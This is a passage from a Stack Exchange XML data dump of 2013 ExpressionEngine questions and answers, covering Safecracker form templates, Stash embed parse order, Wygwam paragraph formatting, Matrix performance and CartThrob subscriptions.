          &amp;lt;/p&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div class=&quot;col-1-2&quot;&amp;gt;&#xA;                            &amp;lt;p&amp;gt;&#xA;                                &amp;lt;label for=&quot;auto_license_age_2&quot;&amp;gt;How old was this driver when they received their drivers license?&amp;lt;/label&amp;gt;&#xA;                                &amp;lt;select id=&quot;auto_license_age_2&quot; name=&quot;auto_license_age_2&quot;&amp;gt;&#xA;                                    &amp;lt;option value=&quot;&quot;&amp;gt;Select One&amp;lt;/option&amp;gt;&#xA;                                    {options:auto_license_age_2}&#xA;                                    &amp;lt;option value=&quot;{option_value}&quot;{selected}&amp;gt;{option_name}&amp;lt;/option&amp;gt;&#xA;                                    {/options:auto_license_age_2}&#xA;                                &amp;lt;/select&amp;gt;&#xA;                            &amp;lt;/p&amp;gt;&#xA;                            &amp;lt;p&amp;gt;&#xA;                                &amp;lt;label for=&quot;auto_minor_violations_2&quot;&amp;gt;Has this driver had any minor violations in the past 3 years? (i.e. speeding tickets, etc.?&amp;lt;/label&amp;gt;&#xA;                                {options:auto_minor_violations_2}&#xA;                                &amp;lt;span class=&quot;inline-block pad-right&quot;&amp;gt;&#xA;                                    &amp;lt;input type=&quot;radio&quot; id=&quot;auto_minor_violations_2_{option_name}&quot; name=&quot;auto_minor_violations_2&quot; value=&quot;{option_value}&quot;{checked}&amp;gt;&#xA;                                    &amp;lt;label for=&quot;auto_minor_violations_2_{option_name}&quot;&amp;gt;{option_name}&amp;lt;/label&amp;gt;&#xA;                                &amp;lt;/span&amp;gt;&#xA;                                {/options:auto_minor_violations_2}&#xA;                            &amp;lt;/p&amp;gt;&#xA;                            &amp;lt;p&amp;gt;&#xA;                                &amp;lt;label for=&quot;auto_accidents_2&quot;&amp;gt;Has this driver had any at fault accidents in the last 5 years?&amp;lt;/label&amp;gt;&#xA;                                {options:auto_accidents_2}&#xA;                                &amp;lt;span class=&quot;inline-block pad-right&quot;&amp;gt;&#xA;                                    &amp;lt;input type=&quot;radio&quot; id=&quot;auto_accidents_2_{option_name}&quot; name=&quot;auto_accidents_2&quot; value=&quot;{option_value}&quot;{checked}&amp;gt;&#xA;                                    &amp;lt;label for=&quot;auto_accidents_2_{option_name}&quot;&amp;gt;{option_name}&amp;lt;/label&amp;gt;&#xA;                                &amp;lt;/span&amp;gt;&#xA;                                {/options:auto_accidents_2}&#xA;                            &amp;lt;/p&amp;gt;&#xA;                            &amp;lt;p&amp;gt;&#xA;                                &amp;lt;label for=&quot;auto_major_violations_2&quot;&amp;gt;Has this driver had any major violations in the last 3 years (for example, DWI, etc.)?&amp;lt;/label&amp;gt;&#xA;                                {options:auto_major_violations_2}&#xA;                                &amp;lt;span class=&quot;inline-block pad-right&quot;&amp;gt;&#xA;                                    &amp;lt;input type=&quot;radio&quot; id=&quot;auto_major_violations_2_{option_name}&quot; name=&quot;auto_major_violations_2&quot; value=&quot;{option_value}&quot;{checked}&amp;gt;&#xA;                                    &amp;lt;label for=&quot;auto_major_violations_2_{option_name}&quot;&amp;gt;{option_name}&amp;lt;/label&amp;gt;&#xA;                                &amp;lt;/span&amp;gt;&#xA;                                {/options:auto_major_violations_2}&#xA;                            &amp;lt;/p&amp;gt;&#xA;                            &amp;lt;p&amp;gt;&#xA;                                &amp;lt;label for=&quot;auto_same_address_2&quot;&amp;gt;Does this driver live at the same address as the primary applicant?&amp;lt;/label&amp;gt;&#xA;                                {options:auto_same_address_2}&#xA;                                &amp;lt;span class=&quot;inline-block pad-right&quot;&amp;gt;&#xA;                                    &amp;lt;input type=&quot;radio&quot; id=&quot;auto_same_address_2_{option_name}&quot; name=&quot;auto_same_address_2&quot; value=&quot;{option_value}&quot;{checked}&amp;gt;&#xA;                                    &amp;lt;label for=&quot;auto_same_address_2_{option_name}&quot;&amp;gt;{option_name}&amp;lt;/label&amp;gt;&#xA;                                &amp;lt;/span&amp;gt;&#xA;                                {/options:auto_same_address_2}&#xA;                            &amp;lt;/p&amp;gt;    &#xA;                            &amp;lt;p&amp;gt;&#xA;                                &amp;lt;label for=&quot;auto_other_details_2&quot;&amp;gt;Please enter any other coverage details you would like included in your quote. For example, if you know your liability limits or other coverage details, enter them here.&amp;lt;/label&amp;gt;&#xA;                                &amp;lt;textarea id=&quot;auto_other_details_2&quot; name=&quot;auto_other_details_2&quot; rows=&quot;5&quot;&amp;gt;{auto_other_details_2}&amp;lt;/textarea&amp;gt;&#xA;                            &amp;lt;/p&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/section&amp;gt;&#xA;&#xA;    {/exp:safecracker}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="434" LastEditorUserId="434" LastEditDate="2013-01-11T13:53:16.860" LastActivityDate="2013-01-22T17:58:21.993" Title="Problem with Safecracker fields not rendering" Tags="|safecracker|" AnswerCount="2" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="3553" PostTypeId="2" ParentId="3548" CreationDate="2013-01-10T15:25:50.407" Score="3" Body="&lt;p&gt;I think the problem may lie in that you are testing the 1st segment, which according to the user guide should be the name of your template group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the template group your template is in is the default template group you can leave it out of the URL structure. But then EE will think that foo is a template in the default template group and try and load it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If foo isn't a template it will trigger the 404 template if it has been defined, if not it will use the default template group index template. So depending on what code you have in that will determine what happens next.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is an excellent &lt;a href=&quot;http://www.jamessmith.co.uk/articles/expressionengine_url_schematic&quot; rel=&quot;nofollow&quot;&gt;flow chart of how segments are processed by EE&lt;/a&gt; by @_jamessmith that is essential reading when dealing with templates and segments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you put that conditional in a template named foo that is in the default template group and change it to test segment 2 it works fine.&lt;/p&gt;&#xA;" OwnerUserId="483" LastEditorUserId="182" LastEditDate="2014-05-18T19:49:29.430" LastActivityDate="2014-05-18T19:49:29.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3554" PostTypeId="2" ParentId="3530" CreationDate="2013-01-10T15:46:28.110" Score="2" Body="&lt;p&gt;Are you &lt;em&gt;writing&lt;/em&gt; your own extension? What for? There are plenty of existing extensions which will let you do pretty much anything with members. Perhaps we could better help by suggesting an add-on to use instead of writing something custom (check out &lt;a href=&quot;https://github.com/expressodev/freemember&quot; rel=&quot;nofollow&quot;&gt;FreeMember&lt;/a&gt;, &lt;a href=&quot;http://devot-ee.com/add-ons/authenticate&quot; rel=&quot;nofollow&quot;&gt;Authenticate&lt;/a&gt;, &lt;a href=&quot;https://objectivehtml.com/safecracker-registration&quot; rel=&quot;nofollow&quot;&gt;Safecracker Registration&lt;/a&gt;, &lt;a href=&quot;http://ee-zoo.com/add-ons/visitor/&quot; rel=&quot;nofollow&quot;&gt;Zoo Visitor&lt;/a&gt;, or &lt;a href=&quot;http://mightybigrobot.com/products/detail/profile-edit&quot; rel=&quot;nofollow&quot;&gt;Profile:Edit&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;EE way of doing things&quot; is for your module to provide tags which allow other developers to completely customize the look and feel - that is why there is no easy way to return view files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The built-in member module is a bit backwards in this regard, and doesn't follow the normal conventions to allow easy customization of the design. That is why so many add-ons have cropped up to replace the member module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want an example of an EE authentication module, check out &lt;a href=&quot;https://github.com/expressodev/freemember&quot; rel=&quot;nofollow&quot;&gt;FreeMember&lt;/a&gt; - it's open source so should provide you with a good starting point.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-01-10T15:46:28.110" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3555" PostTypeId="1" AcceptedAnswerId="3564" CreationDate="2013-01-10T15:48:08.497" Score="1" ViewCount="898" Body="&lt;p&gt;I have a chain of embeds in Stash:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A &quot;main&quot; template that embeds &lt;code&gt;{stash:embed name=&quot;foo:.index&quot;}&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;foo:.index&lt;/code&gt; has 1 line of code: &lt;code&gt;{stash:embed name=&quot;common:.serp&quot; stash:group_id=&quot;6&quot; stash:channel_name=&quot;members&quot; stash:permalink_parameter=&quot;foo/details&quot;}&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;common:.serp&lt;/code&gt; has something like this:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set parse_tags=&quot;yes&quot;}&#xA;   {stash:channel_entries}&#xA;      {exp:channel:entries channel=&quot;{stash:channel_name}&quot; dynamic=&quot;no&quot; group_id=&quot;{stash:group_id}&quot; limit=&quot;10&quot; orderby=&quot;date&quot; paginate=&quot;bottom&quot; sort=&quot;desc&quot;}&#xA;       ...&#xA;       ...&#xA;       {stash:embed name=&quot;common:.avatar&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In &lt;code&gt;common:.avatar&lt;/code&gt;, I am trying to access the value of &lt;code&gt;{member_images:total_rows}&lt;/code&gt;. However, it's just echoed as that tag and not the number I expect it to be. I have verified this field exists in the Channel fields (it's a Matrix field).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm a bit confused with EE's parse order. And I've tried putting &lt;code&gt;process=&quot;start&quot;&lt;/code&gt; where I embed &lt;code&gt;common:.avatar&lt;/code&gt; hoping it would parse {member_images:total_rows}. No go. Any ideas what's wrong?&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2013-01-10T18:34:46.497" Title="Stash embeds: struggling to parse tags" Tags="|templates|stash|parse-order|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3556" PostTypeId="1" CreationDate="2013-01-10T16:36:06.327" Score="1" ViewCount="51" Body="&lt;p&gt;I wish to change the styling of a list of Asset files. &#xA;See &lt;a href=&quot;https://dl.dropbox.com/u/34921860/styling%20example.pdf&quot; rel=&quot;nofollow&quot;&gt;https://dl.dropbox.com/u/34921860/styling%20example.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the elements are added using Javascript the html and css changes cannot easily be inspected using Firebug.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wrapping the Asset-field in a div with id=&quot;nn&quot;, makes it possible target the inserted table with &lt;em&gt;div#nn table&lt;/em&gt; and change the background to a dark colour. So far so good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the list that appears when right-clicking on a row needs also to be restyled and div#id ul does not work. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="754" LastEditorUserId="268" LastEditDate="2013-01-11T01:07:14.943" LastActivityDate="2013-01-11T01:07:14.943" Title="P&amp;T Assets target added elements" Tags="|add-on|css|assets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3557" PostTypeId="1" AcceptedAnswerId="3580" CreationDate="2013-01-10T17:28:06.347" Score="3" ViewCount="77" Body="&lt;p&gt;The Discussion Forum forum management max char limit for a post is 99999.  Is it possible to significantly increase this?&lt;/p&gt;&#xA;" OwnerUserId="719" LastActivityDate="2013-01-10T20:53:49.730" Title="EE 2.5.5 Discussion Forum char limit &gt; 99999" Tags="|forum|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3558" PostTypeId="1" AcceptedAnswerId="3629" CreationDate="2013-01-10T17:44:13.583" Score="4" ViewCount="333" Body="&lt;p&gt;I am moving over a thread started on P&amp;amp;T's &lt;a href=&quot;http://gsfn.us/t/3h77q&quot; rel=&quot;nofollow&quot;&gt;Get Satisfaction&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am getting a MySQL timeout saving an entry that had a 10-column Matrix field and some 70 rows. Raising the MySQL limits fixes the immediate problem (we can save), but seems to point at a bigger underlying issue -- entries take a surprisingly long time to save and open, while showing relatively normal benchmarks in EE's debugging panel. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To isolate the problem, I set up a separate, fresh EE install with Matrix as my only plugin. I then created a single channel field with a Matrix of 10 text-only columns. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this environment, an entry with a single Matrix with 100 rows took 47 seconds to save. However, an entry with 8 Matrix of 13 rows each (104 total rows) took 7 seconds to save. More interesting, the benchmarks for Loading Time, Total Execution Time, and Controller Execution Time were all very reasonable (0.2 to 0.4 or so). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to keep these entries in a single Matrix table, if possible. Is this just an effect of saving a table with this many cells (and a natural limit of EE, Matrix, or MySQL). Or is there's something else at play? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any insights?&lt;/p&gt;&#xA;" OwnerUserId="756" LastEditorUserId="268" LastEditDate="2013-01-11T01:05:34.993" LastActivityDate="2014-12-11T02:18:25.600" Title="Long open/save for entries with 10-column Matrix fields" Tags="|add-on|matrix|mysql|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="3559" PostTypeId="1" AcceptedAnswerId="3570" CreationDate="2013-01-10T17:50:42.807" Score="4" ViewCount="669" Body="&lt;p&gt;Wygwam automatically adds some extra space in &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; tags by default. Is there any way to remove them without editing the source in Wygwam? I'm using Wygwam 2.6.3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What is intended&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;This is a paragraph&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What actually happens&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;&#xA;     This is a paragraph&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="134" LastActivityDate="2013-01-10T19:46:56.973" Title="Removing unwanted newline characters in Wygwam" Tags="|add-on|fieldtype|wygwam|wysiwyg|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3560" PostTypeId="1" AcceptedAnswerId="3574" CreationDate="2013-01-10T17:51:19.560" Score="2" ViewCount="53" Body="&lt;p&gt;I'm re-vamping a site, and we have updated the categories. At the moment I have two category groups, the old one and the new one. The old one will never be used again, but I'd prefer to keep the assignments, for posterity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I un-assign the old category group from the channels in question (so it doesn't show up in the editor), will those category assignments be lost?&lt;/p&gt;&#xA;" OwnerUserId="453" LastActivityDate="2013-01-15T13:15:05.047" Title="Does un-assigning a category group remove category assignments?" Tags="|categories|category-group|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3561" PostTypeId="1" CreationDate="2013-01-10T17:57:32.180" Score="3" ViewCount="527" Body="&lt;p&gt;I am applying a inline editing method that involves colorbox and the backend. below every entry there's a link that opens up an inline popup with the correspondent &quot;edit entry&quot; screen from the backend. it's very usable, and needs almost no additional programming.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but since we have safecracker there must be more evolved methods to do this? &#xA;like &quot;edit in place&quot;. anybody care to share? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;cheers&#xA;stefan&lt;/p&gt;&#xA;" OwnerUserId="388" LastActivityDate="2013-01-11T15:18:03.197" Title="inline editing - how do you guys do this on the front-end?" Tags="|inline-editing|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3562" PostTypeId="2" ParentId="3559" CreationDate="2013-01-10T18:15:07.000" Score="3" Body="&lt;p&gt;You'll need to override the default CKEditor rules for processing P tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;this.dataProcessor.writer.setRules( 'p',&#xA;                {&#xA;                    indent : false,&#xA;                    breakBeforeOpen : true,&#xA;                    breakAfterOpen : false,&#xA;                    breakBeforeClose : false,&#xA;                    breakAfterClose : true&#xA;                });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to your:&#xA;&lt;code&gt;themes/third_party/wygwam/lib/ckeditor/config.js&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More info here:&#xA;&lt;a href=&quot;http://ckeditor.com/forums/Support/BUG-CKeditor-adds-new-line-and-tab-space-after-P-tag&quot; rel=&quot;nofollow&quot;&gt;http://ckeditor.com/forums/Support/BUG-CKeditor-adds-new-line-and-tab-space-after-P-tag&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2013-01-10T18:15:07.000" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3563" PostTypeId="2" ParentId="3508" CreationDate="2013-01-10T18:17:10.513" Score="2" Body="&lt;p&gt;I submitted a support request about this and Robin Sowell was able to get me all sorted out. Here is what needs to be done.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Now what this does is grab everything in the url after the domain&#xA;  name.  Well- it should if request_uri is supported.  And then it&#xA;  breaks that into parts, splitting it at the ‘/’.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;So any url that has just fr as a segment, it should trigger the&#xA;  language override.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The code added to the index.php file is below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (isset($_SERVER['REQUEST_URI']) &amp;amp;&amp;amp; strpos($_SERVER['REQUEST_URI'], '/fr') !== FALSE) { $segs = explode('/', $_SERVER['REQUEST_URI']);&#xA;&#xA;if (in_array('fr', $segs))&#xA;{&#xA;    // Language override&#xA;    $assign_to_config['deft_lang'] = &quot;french&quot;;&#xA;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15" LastActivityDate="2013-01-10T18:17:10.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3564" PostTypeId="2" ParentId="3555" CreationDate="2013-01-10T18:29:39.420" Score="4" Body="&lt;p&gt;Ok, this is complex so please bear with me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unlike process=&quot;inline&quot; and process=&quot;end&quot;, the process=&quot;start&quot; parameter is relative to the processing stage of the host EE template, not the processing of the nested Stash template (which is undertaken by a separate instance of the template parser and occurs either in parallel with or after the EE parser has run). Logically therefore process=&quot;start&quot; is impossible in a &lt;em&gt;nested&lt;/em&gt; Stash embed, since the nested embed is included &lt;em&gt;after&lt;/em&gt; the parent template, which is itself parsed &lt;em&gt;inline&lt;/em&gt; with the host template parser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consequently, your embed &lt;code&gt;{stash:embed name=&quot;common:.avatar&quot;}&lt;/code&gt; is always going to be processed after the channel entries tag has run, since it is nested inside it and the EE parser processes a template from the outside inwards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stash embeds are saved into memory as variables with the same name as the embed. After embedding, they are accessible later on in your template parse order as ordinary Stash variables. Therefore one possible solution would be to embed the child template earlier (but not output it), and then access it as a variable.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{stash:embed name=&quot;common:.avatar&quot; process=&quot;inline&quot; output=&quot;no&quot;}&#xA;{exp:stash:set parse_tags=&quot;yes&quot;}&#xA;   {stash:channel_entries}&#xA;      {exp:channel:entries channel=&quot;{stash:channel_name}&quot; dynamic=&quot;no&quot; group_id=&quot;{stash:group_id}&quot; limit=&quot;10&quot; orderby=&quot;date&quot; paginate=&quot;bottom&quot; sort=&quot;desc&quot;}&#xA;          {stash:common:.avatar}&#xA;          ...&#xA;       {/exp:channel:entries}&#xA;   {/stash:channel_entries}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've never tried this so I'm not entirely sure it will work, please confirm if it does. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other than the above, I would like to point out that nesting embeds in this way is reintroducing some of the parse order problems that Stash is meant to solve. In addition to allowing code re-use (the DRY principle) Stash allows you to separate the 'data-setting' logic (the viewModel) from the presentation (view). You are mixing up these layers when really you should be trying to separate them - and it's coming back to bite you. It's better to think of your EE host template as the place you grab all the data that you will then 'push' to the embed(s) containing your markup. If you have common patterns of data setting in your host template then encapsulate them as snippets rather than embeds.&lt;/p&gt;&#xA;" OwnerUserId="289" LastEditorUserId="289" LastEditDate="2013-01-10T18:34:46.497" LastActivityDate="2013-01-10T18:34:46.497" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3565" PostTypeId="5" CreationDate="2013-01-10T19:18:02.753" Score="0" Body="" OwnerUserId="150" LastEditorUserId="150" LastEditDate="2013-01-10T19:18:02.753" LastActivityDate="2013-01-10T19:18:02.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3566" PostTypeId="4" CreationDate="2013-01-10T19:18:02.753" Score="0" Body="Image-management module by Pixel &amp; Tonic." OwnerUserId="150" LastEditorUserId="5" LastEditDate="2013-01-25T01:01:11.160" LastActivityDate="2013-01-25T01:01:11.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3567" PostTypeId="1" CreationDate="2013-01-10T19:18:46.127" Score="1" ViewCount="116" Body="&lt;p&gt;For the store I'm working on, each standard Cartthrob order creates entries in both the Orders and Purchased Items channels. And I need the Subscriptions orders to do the same after each occurrence.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know if Cartthrob Subscriptions does that for EACH occurrence? As far as I could find, the docs only say this...&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;CartThrob subscription orders are placed like standard orders, and&#xA;  will show up in the customer's order history. Standard order emails&#xA;  will also be sent in the case of a successful transaction, or in case&#xA;  of failure.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help.&lt;/p&gt;&#xA;" OwnerUserId="757" LastEditorUserId="268" LastEditDate="2013-01-11T01:07:32.493" LastActivityDate="2013-01-11T01:07:32.493" Title="Does Cartthrob Subscriptions add channel entries after each occurrence?" Tags="|add-on|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3568" PostTypeId="1" AcceptedAnswerId="3599" CreationDate="2013-01-10T19:19:40.653" Score="3" ViewCount="111" Body="&lt;p&gt;I have a field in my publish form where users can add embed code for a video, and they can also embed videos using Wygwam.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The entire site has SSL enabled, but the video embed codes use the insecure &quot;http://&quot; protocol, which breaks the site's SSL. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want my client to have to remember to check the &quot;use https&quot; option on YouTube (and some of the videos are from obscure hosting services anyway).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an add-on or technique I can use to automatically convert those embedded video URL protocols to &quot;https&quot;?&lt;/p&gt;&#xA;" OwnerUserId="5" LastEditorUserId="5" LastEditDate="2013-01-10T20:06:27.250" LastActivityDate="2013-01-11T04:17:13.110" Title="Update User-Added Resources to SSL-Friendly URLs?" Tags="|wysiwyg|security|video|ssl|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3569" PostTypeId="2" ParentId="2468" CreationDate="2013-01-10T19:26:13.237" Score="1" Body="&lt;p&gt;That is the best way to approach things. The only piece you are missing is that you either need to not display the shipping cost on your cart page, or automatically submit the form when the customer first hits the checkout to update the totals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like this should do the trick:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if member_group == &quot;6&quot;}&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;shipping_method&quot; value=&quot;5&quot;&amp;gt;&#xA;{if:else}&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;shipping_method&quot; value=&quot;3&quot;&amp;gt;&#xA;{/if}&#xA;&#xA;{!-- automatically update shipping cost on first page load --}&#xA;{if shipping_method == &quot;&quot;}&#xA;    &amp;lt;script&amp;gt;&#xA;    $(function() {&#xA;        $('#update_totals_button').click();&#xA;    });&#xA;    &amp;lt;/script&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-01-10T19:26:13.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3570" PostTypeId="2" ParentId="3559" CreationDate="2013-01-10T19:46:56.973" Score="5" Body="&lt;p&gt;The themes/third_party/wygwam/lib/ckeditor/config.js file actually comes with the code necessary to do this – you just need to uncomment it. Have you tried that?&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2013-01-10T19:46:56.973" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3571" PostTypeId="2" ParentId="3558" CreationDate="2013-01-10T19:49:21.140" Score="5" Body="&lt;p&gt;Make sure you’re running the latest version of Matrix. Matrix 2.5 came with a pretty drastic performance boost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pixelandtonic.com/matrix/releasenotes&quot;&gt;http://pixelandtonic.com/matrix/releasenotes&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2013-01-10T19:49:21.140" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3572" PostTypeId="1" AcceptedAnswerId="3576" CreationDate="2013-01-10T19:50:00.697" Score="2" ViewCount="411" Body="&lt;p&gt;Is it possible with store to send an email to an admin , or another member, or maybe an email, when the user make an order or a payment?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;mx notify control doesn't support store&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="75" LastActivityDate="2013-01-10T20:00:06.103" Title="expresso Store: notify admin when an user make an order or payment" Tags="|expresso-store|email|notification|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3573" PostTypeId="2" ParentId="3567" CreationDate="2013-01-10T19:51:32.120" Score="1" Body="&lt;p&gt;I can confirm this since I've been using CT Subscriptions with one of my clients for the last 7 months. Each time a subscription is rebilled, an order entry is created in the orders channel. I can't confirm the purchased items channel as I have that disabled since they're not selling digital goods–but I would believe it would do the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can edit/cancel/update subscriptions right from the subscription module in the CP. Also, there are different notification event triggers for rebills that you should take advantage of too.&lt;/p&gt;&#xA;" OwnerUserId="209" LastActivityDate="2013-01-10T19:51:32.120" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3574" PostTypeId="2" ParentId="3560" CreationDate="2013-01-10T19:53:04.613" Score="1" Body="&lt;p&gt;Looking at the function which runs when Channel Group Assignments are updated, I'm going to  say &lt;strong&gt;no&lt;/strong&gt;, your categories will &lt;em&gt;not&lt;/em&gt; be unassigned when removing a category group from a channel, so that's safe to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(&lt;em&gt;After&lt;/em&gt; you backup your database of course, haha.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; as pointed out below, if you later edit these entries which have now-hidden categories assigned, those old category associations &lt;em&gt;will&lt;/em&gt; be lost when the entry is updated. (This is because EE deletes all category associations and creates them all anew with the posted category data each time an entry is updated.)&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2013-01-15T13:15:05.047" LastActivityDate="2013-01-15T13:15:05.047" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3575" PostTypeId="2" ParentId="3556" CreationDate="2013-01-10T19:55:01.507" Score="1" Body="&lt;p&gt;That context menu gets added to the end of the DOM with the class 'assets-contextmenu'. Assets only targets it using &quot;.assets-contextmenu&quot;, so even adding a &quot;ul&quot; before that (&quot;ul.assets-contextmenu&quot;) in your CSS selectors would be more specific.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here’s what its DOM looks like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3i4h7.png&quot; alt=&quot;Assets context menu DOM&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2013-01-10T19:55:01.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
